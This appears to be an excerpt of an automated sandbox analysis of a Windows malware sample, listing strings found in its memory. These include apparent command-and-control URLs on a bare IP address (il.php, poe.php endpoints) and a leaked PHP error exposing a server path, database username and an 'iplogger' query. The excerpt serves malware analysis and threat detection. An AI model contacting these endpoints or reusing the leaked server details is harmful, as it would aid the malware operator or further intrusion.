www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3EinS$QFr( equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.507462493.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464197214.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.506626771.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.460591514.0000000003327000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.524999317.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437536063.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437350173.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.436465004.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com0 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398038409.000000000332E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com2 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464197214.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com4 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com5 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.507462493.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464197214.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.506626771.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.397563972.0000000003325000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400592181.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.460591514.0000000003327000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.524999317.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437536063.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437350173.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.436465004.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com@ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495781908.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524994755.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.424125805.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.421954885.00000000031F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comHTEP equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comR equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comS equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comV equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464197214.0000000003324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com] equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.397563972.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comet.doubld equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.464877261.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.478565789.0000000003230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comhtep equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comp equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comr equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.397563972.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com~ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.401144808.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {mhttps://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {mhttps://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E^^ equals www.facebook.com (Facebook)

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/7
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/d
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.306744d
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.524451129.00000000032D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674~
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://103.136.42.153/seemorebty/poe.php?e=
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524929485.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495735399.00000000031EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.136.42.153:80/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674e
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://acdn.adnxs.com/ast/ast.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://acdn.adnxs.com/dmp/async_usersync.html
Source: d.0.dr	String found in binary or memory: http://acdn.adnxs.com/dmp/async_usersync.html?gdpr=1&gdpr_consent=BOi01ZPOi01ZPAcABBENB4-AAAAid7__f_
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329669701.0000000005367000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283288096.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293002558.0000000004611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416275468.0000000004551000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414231213.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414839653.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483636823.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://amplify-imp.outbrain.com/pixel?p=nlV1YHXXXKgnJTkmjxGkpD86h377hQIinq23IJiX9nqxEkupAtbFH4fSP0Iz
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329669701.0000000005367000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283288096.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293002558.0000000004611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416275468.0000000004551000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414231213.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414839653.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483636823.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://b1-use2.zemanta.com/bidder/win/outbrainrtb/c333bcb0-98dc-11e9-8919-320929a4a620/0.564833/3F66
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://b1t-use2.zemanta.com/t/imp/impression/FZV2QWU7KWGCXF6REQZNFCRJIZ4GXAXBRWOOIKPCGXHSIEOKHUJBTWL
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336535994.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331031184.0000000004530000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336507106.0000000004535000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.343982613.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.339040322.0000000004381000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490858717.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445705595.0000000004448000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488753470.0000000004800000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501011812.00000000062B9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.499588785.00000000062A9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertECCSecureServerCA.crt0
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348012619.00000000064F4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348110063.00000000064F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445636869.00000000047E4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.505044865.0000000006848000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293205376.0000000004358000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389238119.0000000006018000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290441769.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287597032.000000000442F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.343480886.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283512755.000000000442F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.388752226.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.344686510.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290750371.0000000004359000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.291356003.00000000045B8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346065801.00000000059F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.388654112.0000000005E80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292656010.0000000004528000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.417419512.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443686017.0000000004560000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487478611.0000000005B48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488547354.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487449170.0000000005B20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447678388.0000000004730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
